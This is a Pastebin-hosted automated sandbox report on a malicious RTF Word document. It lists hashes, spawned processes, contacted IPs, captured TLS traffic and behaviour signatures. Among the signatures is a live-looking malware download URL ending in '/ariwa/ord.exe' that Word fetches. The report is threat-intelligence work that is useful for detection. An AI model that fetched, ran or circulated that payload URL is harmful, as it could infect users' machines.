API tools faq
paste
paladin316

RTF_f52464abdc6552f646361cab0cfa6372_2019-07-21_07_30.txt

paladin316
Jul 21st, 2019
2,240
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 221.08 KB | None | 0 0
raw download clone embed print report
  1.  
  2. * MalFamily: "Ealp"
  3.  
  4. * MalScore: 10.0
  5.  
  6. * File Name: "RTF_f52464abdc6552f646361cab0cfa6372.doc?dl=1"
  7. * File Size: 217928
  8. * File Type: "Rich Text Format data, version 1, unknown character set"
  9. * SHA256: "473ddb1b15b0544fcff3ffed70c7b5fa5bef9185bf950f2d4718fa0acbd409da"
  10. * MD5: "f52464abdc6552f646361cab0cfa6372"
  11. * SHA1: "a739d30559d9a10484ae89e87acfdd7a66bf70ec"
  12. * SHA512: "0ab6ba0e430fa9e8b14a7ed53c8ae5b1ef828cc450408d5d31a3f59ccaf38e4939e7eaf5bf5898a6773b317436e98dbd5e03e7c05b3f67565813415d62656279"
  13. * CRC32: "FEB28426"
  14. * SSDEEP: "1536:mr+kUe1ehegeqfD3oZ1OkHFRIxPILSQWns3R:mr+eZmxgLSQWno"
  15.  
  16. * Process Execution:
  17. "WINWORD.EXE",
  18. "splwow64.exe"
  19.  
  20.  
  21. * Executed Commands:
  22. "\"C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE15\\FLTLDR.EXE\" C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT",
  23. "C:\\Windows\\splwow64.exe 12288"
  24.  
  25.  
  26. * Signatures Detected:
  27.  
  28. "Description": "Attempts to connect to a dead IP:Port (9 unique times)",
  29. "Details":
  30.  
  31. "IP": "23.59.214.201:443"
  32.  
  33.  
  34. "IP": "69.192.108.32:443"
  35.  
  36.  
  37. "IP": "52.109.6.40:443"
  38.  
  39.  
  40. "IP": "65.52.98.231:443"
  41.  
  42.  
  43. "IP": "104.18.24.243:80"
  44.  
  45.  
  46. "IP": "185.67.1.13:80"
  47.  
  48.  
  49. "IP": "52.109.6.6:443"
  50.  
  51.  
  52. "IP": "72.21.91.29:80"
  53.  
  54.  
  55. "IP": "23.15.4.32:80"
  56.  
  57.  
  58.  
  59.  
  60. "Description": "At least one IP Address, Domain, or File Name was found in a crypto call",
  61. "Details":
  62.  
  63. "ioc": "nline.xsl"
  64.  
  65.  
  66. "ioc": "ontent.inf"
  67.  
  68.  
  69. "ioc": "adial.glox"
  70.  
  71.  
  72.  
  73.  
  74. "Description": "Performs some HTTP requests",
  75. "Details":
  76.  
  77. "url": "http://maitrezaouiat.ma/ariwa/ord.exe"
  78.  
  79.  
  80. "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D"
  81.  
  82.  
  83. "url": "http://ocsp.msocsp.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D"
  84.  
  85.  
  86.  
  87.  
  88. "Description": "A process attempted to delay the analysis task by a long amount of time.",
  89. "Details":
  90.  
  91. "Process": "splwow64.exe tried to sleep 3240 seconds, actually delayed analysis time by 0 seconds"
  92.  
  93.  
  94.  
  95.  
  96. "Description": "A document file initiated network communications indicative of a potential exploit or payload download",
  97. "Details":
  98.  
  99. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04c%\\xd2\\9\\xd8\\xe8%\\xcb\\xf8k\\x916\\x01\\\\xac\\xba\\x0er\\x02\\xde\\xdb(z\\x12\\x98\\xa1a -pc\\xd4\\xda_\\x89^\\xa9\\x97\\xf7\\xbc\\x99jx\\x80\\x03\\xcb\\xfd\\x8dyg\\xf7n\\xca\\x8al\\xb4^k\\xa2q\\x07\\xad\\xcf\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xa0w\\x14\\xcaqbu\"\r\\x87\\xbb9y\\xd8\\x18\\xd4\\xa3\\x19\\xda\\xa4\\xf9\\xc2g\\x7f~\\xa7oq\\x07\\xd8\\xb1\\xd9\\x86|k\\xa6l0\\xee\\x85\\x86\\x1e\\x99pj\\xc7\\xd1"
  100.  
  101.  
  102. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01py\\xa2\\x0c-\\x19\\x88\\x96\\xe8vg\\xcfpo\\x05\\x1b\\x91*\\xcbv\\xb0\\xf4\\x1a\\xb99\\x84\\x1d.\\xa9\\x1e\",=*\\xcb\\xab\\x1e\\xddge\\x84\\xde\\xd7j\\xcb\\x9f~\\x9f\\x8c\\x89\\xb5n)\\xc4\\x8f\\xcej\\x8dc4\\xbc\\xdef\\x9cz\\x905\\x97\\xe2`t\\x8b\\xc4|\\x83\\xf7\\x07\\x90\\xd0u\\xfb\\xa7nv\\x10\\x08^\\xb9hq\\x8as\\xc0\\x07\\xb3\\xc6<n\\xf5\\xdb\\xe4v\\xf8q\\x05\\x98y\\x90\\xd2\\x13s\\xe1=c\\x8b\\x86\\x88\\x9f\\x14\\x90\\xd6\\xd5o\\xaa\\x92s\\xe3\\xcfc\\xf9\\x84\\xc5\\xc3am\\x13\\x12\\xa0x.\\xc6\\x94\\x16w=\\xfe\\xc7\\xdbge\\xba\\xfc-\\xbe\\xec$\\xe6a;2\\xcf\\x06*\\xf9\\xe6\\x96\\xb0\\x17e\\x06\\xf9\\x85\\xe76\\x82u\\x08\\xe3\\xc6\\x13oj\\\\x01\\xc2\\x7f4\\xe1\\xc1\\xfe\\xfc\\xbeyg%\\xb7p\\xfa\\xb8\\x9fv\\x89|\\x03hiu\\x13\\xb1\\xae\\xd4(\\xa6\\x8b3\\xa9%\\x06\\xb6d\\xa5\\xab\\x11v\\x12x+\\xcef\rx\\x02q\\xc7\\x14\\xef\\x94\\x9f\\x9c\\xba\\xe8\\xb3\\x84c\\x03p 1r"
  103.  
  104.  
  105. "http_request": "winword.exe_InternetCrackUrlW_httP://maitrezaouiat.ma/ariwa/ord.exe"
  106.  
  107.  
  108. "http_request_path": "winword.exe_HttpOpenRequestW_/ariwa/ord.exe"
  109.  
  110.  
  111. "http_request": "winword.exe_InternetCrackUrlA_http://maitrezaouiat.ma"
  112.  
  113.  
  114. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00~\\x01\\x00\\x00z\\x03\\x013\\xc5\\x80f\\x1f\\xeb\\xae\\x0e\\x8du\\xbd\\x0fu\\x997\\xfd\\xdd>y\\xc3\\xcd,\\x1fmi\\xb9h\\xdb\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x009\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00 \\x00\\x1e\\x00\\x00\\x1broaming.officeapps.live.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  115.  
  116.  
  117. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xba\\xbe\\xcevt\\xb2\\xf3\\xd9a\\x18\\xb5c*\\x8c\\x1d\\xbc\\x8d`\\xb5\\xa7e,m\\xca\\x92m\\xb1\\xea\\x90\\x94\\x1a\\xa7l-\\x88\\x82r\\xe3ic\\xb7\\x95\\xea\\xee\".bs\\xf2\\x08\\xdb\\x0c\\xb9tv\\xc3\\x90\\x04\\x1f \\xc6\\x82\\x00\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xd3\\x7f\\xde1rl\\xb5\\xe7q\\xb4\\x9fw%\\xe9\\xb5\\xcb\\xbb\\x80\\xd5\\x134\\xc67\\xde\\x80\\xd30\\xa7\\x06\\xe6\\x98~\\x83\\xc3\\xaf\\x16\\x05\\xa4w\\x0f\\xb2r\\x06~6\\x08\\xd0"
  118.  
  119.  
  120. "http_request": "winword.exe_WSASend_get /mfewtzbnmeswstajbgurdgmcgguabbtbl0v27rvz7lbduom%2fnyb45spuewqu5z1zmijhwmys%2bghunoz7oruetfaceai4elabvpzalrznpjlrv1u%3d http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nuser-agent: microsoft-cryptoapi/6.1\r\nhost: ocsp.digicert.com\r\n\r\n"
  121.  
  122.  
  123. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00z\\x01\\x00\\x00v\\x03\\x013\\xc5\\x81 ~\\xdcq\\x8e\\x08\\xacd\\x88\\xa1\\xbe\\xa0z\\xf6\\x0c\\x7f\\xe7\\xc4\\xec\\xcc\\xbb\\x06\\xcdz\\xf88\\x83\\xb8\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x005\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x1c\\x00\\x1a\\x00\\x00\\x17odc.officeapps.live.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  124.  
  125.  
  126. "http_request": "winword.exe_WSASend_get /mfqwujbqme4wtdajbgurdgmcgguabbrpc1vzt9qvn7bzy3iidtbhla4mkqquwiif1tycsck3fd7%2fhijo5ox%2f%2bn0ce3saagyvv14%2fmepdgh0aaaaabk8%3d http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nif-modified-since: sat, 23 mar 2019 17:46:18 gmt\r\nif-none-match: \"dd54d75d468"
  127.  
  128.  
  129. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04b@\\xee\\xba\\x96\\xbbf\\xd8n\\x98\\xefr\\x15\\x19o\\x16\\xba\\x94\\xdez\\xeb\\x822+\\x94\\xa6l\\xd2\\x17aw\\xee\\xf9\\xda\\xd2\\x7flgs\\xb1g#\\xc7~\\x84\\xc6/\\x80\\xc9\\xdd!\\x07dz\\x9b\\x906q%e\\x99d#\\x04\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xd8\\xa8b\\xf2\\xf1\\x98o\\xfa\\x81\\x9e\\x07\\xa8n\\xc8\\xc0@\\x98pg\\xf9#\\xb7>m\\xf3q\\x8c\\xf0\\xc9\\x9b6t\\xe9\\x10\\xe7\\x05\\x93\\x8f\\xd0q4\\xa9\\xbe\\x10\\x7f$\\xbe"
  130.  
  131.  
  132. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01p\\xe5\\xd0\\xd5\\x8f\\xd9\\x93\\xd8\\xd7pt\\x9aj\\xbc+\\x1dze\\x9f(\\x152c\\x1e\\xeb\\xa7\\xbd\\xe3\\xe9\\xf6\\x19\\x7f\\x93\\xfd\\xe40\\x97\\xf1\\x88\\x03\\xcf\\xa5\\x87\\xbd\\xcd\\xf3c\\xac\\xc3\\x14\\xa3\\x1bs\\x82r\\x05\\x8fq\\xf6r\\xac\\x85\\xf4\\xfd@\\xf1:\\x82\\xa57\\xfdb\\xfd$\\xc8h\\xa0u\\xf8\\x9d\\xed\\xec\\xbbps|\\xe4\\xcd#u\\x0e8!\\xa3\\x13\\xa0<^\\xfd\\x1e\\xc64k^\\xcd\\xef\\xd8\\x0b\\xa8\\xa0\\xac\\xa4\\x82.\\x14\\x03l\\xb3\\xa7\\xba\\xef\\x8fti\\xbe\\xe52!\\xc7oi\\x15x\\xf4\\x97\\x11\\x15a\\x85\\x94\\x07\\xc1\\xe5\\xa8\\xf4\\xcd\\xa4\\xc6j\\x7f\\xcab\\x1db\\x89yz\\x1d.z\\xf9\\x8dh\\xf0\\x84\\x8c\\xa4\\xa2\n\\x00\\xd0\\x12\\xae\\x93hq\\x9ds\\xd5\\xe3\\xda\\x07\\x06\\xcd\\x9e8\\xb1\\xc8\\xe2\\xa3\\xdb\\xbb\\xdf~\\x93\\x1c4 \\xef\\x7f\\x81v\\x9f\\xd6\\x13.;\\x8e\\x96\\xb8\\x9bc%\\x1e\\xa3\\xc4\\x90h\\xea\\xbe\\xaey\\xad\\xb99\\x9a\\x96\\xefe-\\xc82\\xdd\\x937\\x92\\xd4t\\xc1\\x91\\xdc\\x05\"\\xbfi`c`z"
  133.  
  134.  
  135. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01px\\xfc\\xc5\\xdf\"\\x0c\\xc7;\\x80\\x03\\xf7\\x15 \\xd5#-\\xb7\\xd2f\\x01\\xfe-\\x98\\xf0\\x9a\\xbej\\x03\\x9d\\xd9+ng,\\xd7\\xed\\x9fa\\xd4\\xda:\\x92\\x92o\\x87u\\x1d\\x10!\\xdc\\xbd\\x9d\\x01\\xec\\xe7\\xf4.\\xae\\xf9\\xfa\\xf6\\x12\\xbad\\x10\\xfd\\xbb\\x1b\\xcd\\x1eh;\\xb1(x\\x8c+a\\x9a\\x08i\\xf3~h\\xcd\\xd2\\xfar\\x10\\xd9f\\xeaf~\\xfe\\xc0\\x81\\xc0\\xf2s\\xd5\\x1c\\xab2\n\\x04\\x0bd\\xc0(\\x8c@\\xf8)\\xff\\x15j\\xd1\\xd7`l\\xfd\\xc9\\xc2y\\x89\\xaa\\x0f\\xe4p\\xfd\\x88\\xa8o\\x19di\\xd5\\xb1\\x1az\\xa2\\xdf\\xd3\\x1e\\x8d\\xd7\\x08\\x9d*\\xc1\\xa9\\xe8uk\\xe1\n@\\xee\\xe4\\xbbcc\\xdbgs4\\x93\\x99\\x07\\x8c6%\\xce\\x99\\xa0\\xa5\\x0b\\x16\\x9b\\xfa\\x04\\xd58\"\\x0et\\xb9b\\x1a\\xd4\\x85l2\\x10\\xab\\xf9^\\xbd\\xcb\\xcf\\xecg\\xad\\xe3\\x98$\\xda\\xb5yz\\x04\\x8b*\\xd7\\x9azk_\\xa1\\x03\\xe1<\\x8f?\\xc9\\x9c\r\\x7f\\xefo\\xe2\\x87\\xa8\\x0e\\xd3\\x84\\x99\\x03\\xa0z\\xb5\\x88\\xba\\xc2pc"
  136.  
  137.  
  138. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x02 \\xe8\\xe3`&\\xfc\\x1a+?)\\xd3\\xb6\\xc9\\x18\\xd9sq\\xb3\\xa8\\xda\\xe0-?\\xf5\\xe3l8\\x9c_\\xd0>\\xb1\\xbf\\x17\\x81o\\xc6\\x8e\\x07\\xe8db+\\xa5;p\\xbb#\\xab\\xea?m\\x1d\\x13\\x10\\x87\\xa0\\xd3+\\x87\\xff\\x90\\xcb\\xack\\xa2\\x8f\\xf6?\\x9e\\xb2\\x8cv+ve \\xb7\\x00=\\x9b\\xe2\\xa0i\\xcb\\x7f\\xc3\\xfd\t\\x83\\xfchb\\x16_\\xc2\\xedh\\x88p\\xc7\\xc5\\x9f\\xff;\\x98h\\xa55\\xc1p\\xde;-\\x84\\xfe\\x1ee\\\\xac\\x0e\\x18\\xae\\xf3\\xa0\\xf5zp\\xdc\\x86g\\xb8\\x04\\xf5\\xdb.m\\xbd=4\\xdc\\x8c\\xf1\\xeb\\xc3c\\xca\\x18\\x0fkjy\\xa7\\xdcx&\\x80by\\xcctdf\\xc4\\x13v\\xf3\\n\\x15\\xab\\x17\\x9e\\xcex\\x01&\\xa4\\x83\\x18g z\\x0c\\x8f.\\xa53\\xe7\\xc9\\x18>,<l~es\\xdav\\x0fj\\xa4\\x10\r\\xd1\\xcf\\xf7\\xf0#n\\xd4\\x87\\x06\\xbd\\xe3\\xef\\xe5rk\\x95/\\x07s\\x97\\xf55\\xedx\\xf1ro'\\x94d\\xa3\\x17\\x91a\\x8e<g\\xc5)\\xdba;\\xe40\\x89\\xb3"
  139.  
  140.  
  141. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x01\\x00\\x00y\\x03\\x013\\xc5\\x88\\x82!k\\x9a\\xbe\\xb8q\\xf7(h\\xbb\\xbdjy\\xb5v0\\xe6y\\xa7\\xcc\\xab\\xcbg-\\x10\\x873\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x008\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x1f\\x00\\x1d\\x00\\x00\\x1atemplateservice.office.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  142.  
  143.  
  144. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x7f\\x01\\x00\\x00\\x03\\x013\\xc5\\x88\\xb7\\x10\\xcd\\xc2\\xc0-\\xf3\\x18s\\\\xc6n\\x9a;\\x15\\xe5<\\xab7j\\xd8\\xb6(\\x92\\xfc\\x10\\x9c\\xc5\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00:\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00!\\x00\\x1f\\x00\\x00\\x1cactivation.sls.microsoft.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  145.  
  146.  
  147. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x01\\x06\\x10\\x00\\x01\\x02\\x01\\x00,)\\xecaf\\x05\\xde\\xfed\\xa7\\x7f\\x82\\x97\\xf3\\x8do\\x0b\\x93\\x98\\x01\\x08\\xbfeq\\xa1\\xe4\\xa6l|!t\\xda\\xa6\\x15>y\\xa0,\\x1f#\\xee\\x15\\x18\\xdb,\\x14\\xf9\\xf8m\\xa9\\x10=\\x92\\xb9!\\xcb\\xb9,)\\x82\\xe0\\x87>\\xae\\x1a\\xf3\\xdd\\xb8\\x06\\xf3\\x02\\x87\\x0e\\x14\\xc9\nl\\xe3w\\x9c?0\\xef\\x07\\xc4k\\xe4\\xe3e\\xf3\\x05\n)\\x15\\xa9\\xca\\x86z\\xaa3f^\\x97g\\xd2\\xc5\\xf0\\xf5\\xc1\\xdb\\x8e\\xb8\\xe2\\xcd\\x11\\x04\\xc6\\xc2\\xcb6v\\xb6\\xe5oj\\xc7g\\xf3\\xc6gqz\n\\x01n\\xdbn\\xae\\xe9tq\\xd0\\xb9\\x18\\xdf\twl7\"a'd?l(\\xb7\\xfd\\x86\\xfb@\\xf8h\\x82\\xf0\\xca4\\xaac\\xebqcwabc\\xa7\\x85\\x99s\\x93we\\xf7\\xf8\t\\xc2\\xa4\\xcc1w-\\xe1\\xb0\\xbb\\x1c^&l\\xdc\\x057\\x93\\x9e?d\\xf1\\xe0\\xa6\\xaa\\x11z\\xd7\\xa3)/d\\x1dx\\xf75\\xdf\\x94h|a!\\x89\\x8f\\xa0#\\xf0\\xdf\\xebo\\xd1e\\xa9\\xae\\xc6\\xa0\\xe2i"
  148.  
  149.  
  150. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xeaf\\x13c=\\xa5\\x039\\xbd\\xf5\\xef\\x83\\x98*\\x04\\x03y7y\\x1f\\x8c\\xcb\\xbap\\x07\\xcb\\xa2 |\\xa5\\x9a\\x80\\xcf,\\x1c$\\xf1\\x8d\\x93\\x9f\\xf69\\xd0\\xa1\\x16\\x90\\xde\\x97\\x8cx\\xee,\\xf6\\xd6\\x7f\\x15\\xd3\\xe2>\\x0e\\xda\\x15\\x9c\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x1a/)\\x1e><\\xf4\\x9b\r0\\xd4x\\x0c\\xcf\\xee\\xb1\\xf0\\x198=\\xe4-\\x92\\x95\\xf6*\\xc8\\x12\\xa6^\\x97\\xbac\\xcbf\\x9c\\xdc`\\x83w\\xcd@2\\xfbx%\\x0f\\xea"
  151.  
  152.  
  153. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01`\\xee\\xfa\\x16\\xcf\\xe7\\x99\\xf9\\x032\\xd7\\xe2\\xc8\\xbe\\xc6\\xef\\xab\\x11\\x94\\xc9\\x19m\\xb0\\xaf\\x0e(k\\xfbq\\xbb\\xc3\\x80\\\\x92\\x85\\6\"\\xf4f*\\xa9\\xff\\xfe\\xee\\xcb\\x88fo\\xc8\\xfc!)\\xfe\\xb9\\xde\\x99\\xe0\\xb0\\xaf\\xf7n\"\\xc9=@\\xb4m\\xdc_\\xb1\\xed\\x8c\\x1bm\\x04\\x04\\xe3\"\\x9b5m\\xcd\\x98\"\\xe1@\\xf9s\\xd5\\x9f\\x81h\\xda1\\xf1:e^\\xe7\\xedq\n\\xfaz\\xf3b\\xaf\\xe2\\xfd\\xd8\\xd4.\\x92\\xfe\\xd8\\x01\\xdc\\x81\\xbcg5\\xb0(\\xa6\\xb7\\xa8\\x0f*q\\xea\\xcf\\xf4\\x90:\\x8d.y\\x7f\\xc9\\x8a\\xabk\\xd3\\x07\\x19\\xb8\\x81c\\x16ci\\xad\\xd3_3sd\\xea\\xeb\\x07(if\\xe6\\x8ak\\xd6\\xa5\\xe8\\x80k;\\x12\\xb2\\x97\\xe13\\xd6\\s\\xfd\\xca\\x81\\x11\\xa3\\x1b\\x8eq\\x98\\x81\\x8e\\x00\\x06\\xd7ud\\x16\\x07#\\xbe/\r\\xfe\\xff\\xa2y\\xd8\\xe9$lw\\x93f\\x87s \\xd5n\\xb5\\xdf\\x85\\xa2j\\xf7\n\\xf4s!\\x07\\x84u\\x01,\\xed\\xce\\xa7\\x8c\\xf6\\x9d\\x0f\\xc2\\xacv\\xcd8q"
  154.  
  155.  
  156. "http_request": "winword.exe_WSASend_\\x17\\x03\\x019py \\x1fs\\x9bxdm\\xa4byl_is\\xbf<\\x1d\\xad\\xb5\\xa9\\x18gy\\xbaw\\x83\\x9ds\\x9e)f\\x8a\\xad8\\x024\\xe9\\xbe\\xd2,$\\x89\\xd9u\\xb5\\x84\\xe6:=&\\x87\\x8a\\x06\\xffa\\x89\\x94\\xde\\xfd\\x1d\r1`\\xe4\\x02\\x128'\\xe9\\xcdu\\xe6\\xcd'\\x1eq\\x18v\\xae\\x8b\\xab\\x89z\rh\\x06\\x0ej\\xba\\x97\\x85\\xf4h\\xd9\\x8c\\xfa\\xea\\xb7\\xfbu\\xc52\\x85\\xb9^n\\xb7\\x83\\xc4p\\xbf\\xca5i\\xf4\\x86q\\xbc\\xeab g#\\x8fj\\xc2\\x82\\xfb\\xe4z5\\xe0\\xa4?r\\xe3k\\\\x86\\xee\\x03(\\x1e\\x04y`$\\xc6\\xd5\\x11\\xb7\\xbe\\x12i\\xde\\xd2\\xca7\\xa9\\xd7-\tz\\xa7\\xa1\\xe3$\\xaf\\xab\\x94\\xca\\xc68:\\xeev\\xf7\\x83\\xe9\\xf8i\\x1e\\xafv _\\xcb\\x1f\\x02\\x9a\\x9fk\\xc4\\xd5:\\x98w\\x08\\x8c\\x17\\xb4\\xe7u\\xb6h3\\xafgl\\xf2\\xaa\\x8b\\xab *3\\x03zpfu\\x06y\\x81@\\xc2\\x10\\xb3\\x13\\x10\\xa9\\x06,k\\xa3\\x15\\x1b\\x92\\x0e\\x91!\\xa9d&d"
  157.  
  158.  
  159. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01p|\\x8a\\xa3-\\x83\\xfe\\xd2op$\\xed\\x99\\xed\\xae\\x87\\xc3\\x07\\x1e5\\x0c\\x16\\xf3\\xbc\\xd6\"\\x9e\\xf0\\x1e\\xd8d\\x19\\x9e\\xf9\\x94ujg\\x95\\xa3s4|\\x91\\x83nh\\xb6\\xc3k\\xfb^\\xc9\"*\\xf1\\x1e\\xffe\\x90la\\xd4\\x96f\\xf7\\xf5f\\xa1@iy@li'\\x01\\xdbr\\xb2\\xf2m\\x0b\\xef8\\x937\\x12y`\\xc5\\xc3|\\xb9qy;\\xfc\\x10\\xa2\\x0b\\x1dq\\xbc8\\xc7\\xdb\\xdd\\xb8h\\x85\\x13\\x1e4\\xf26\\xa9\\x1d\\xd5\\xbb\\xfc\\xf2\\x0c+f'\\xc1@n\\xe6\\xa4\\x92:o\\x83\\x1d3\\x0b\\x80m\\xbc\\xa1\\xa2\\x0f\\xb6\\x88\\x02\\xc13\\x883q\\x01.\\x12\\xf6f\\x9cif\\x11\\xbdq\\x95lp\\xba%\\xa8\\xb3ug\\xd2\\x9e\\xd0\\xee\\xa4\\x11#\\xb8\\x02\\x8b\\xf3j@\\xd9m\\xed\\x0c\\xd6\\xfb\\xf7\\x12\\xa2\\x13\\xea\\xd3\\x06-\\xdc'\\xd3k\\xb8\\xa03\\xf1\\x85\\xa2.\\x02\\xf8.\\xb0\\x01\\x83\\x95\\xd4\\xc6\\xfa\\xcc\\xe9\\xafx8\\xd6\\x13\\x1a\\xeb\\xd9\\x00p<\\x07%b\\xa9\\x01\\xa7\\x03\\x10kd\\x1a6?\\x1b&"
  160.  
  161.  
  162. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x013\\xc5\\x8a\\xd0w\\xd6k\\xa3\\xe7\\x03pn$\\x9c\\x903\\xa3a\\xd1\\xe4j\\xac,\\xaa\\xe5\\xb9\\x8b\\x08\\\\xca\\xac\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  163.  
  164.  
  165. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x013\\xc5\\x8a3se\\x19d\\xfb\\xdb\\xaf\\xa3\\x9bjiu\\xb3s\\x8e\\xad\\x1b<o\\xc7\\x8d\\x80\\x012o9\\xec\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  166.  
  167.  
  168. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x013\\xc5\\x8a\\xa2jlj\\xa4\\x97o\\x14\\xabg\\xe2(=\\x85\\x96\\x9c,_o\\xfd\\x92\\xf1\\x930\\xebe4\\x98\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  169.  
  170.  
  171. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x013\\xc5\\x8a\\xc2\\xa2\\xc9\\xa7_\\x84\\xc1pr\\xb5\\x99#\\x05w\\x7f\\xc0_\\xa8\\x8b\\x06\\xb7\\xf1l\\x12%\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  172.  
  173.  
  174. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x013\\xc5\\x8ah\\xce\\x0b\\x82\\x17\\xb5\\x00r4\\xaa\\xee\\xaa\\x19;e\\x01!\\xf9e\\xc4\\xec\\x06\\xd33\\x8b\\xc8\\xcb\"\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  175.  
  176.  
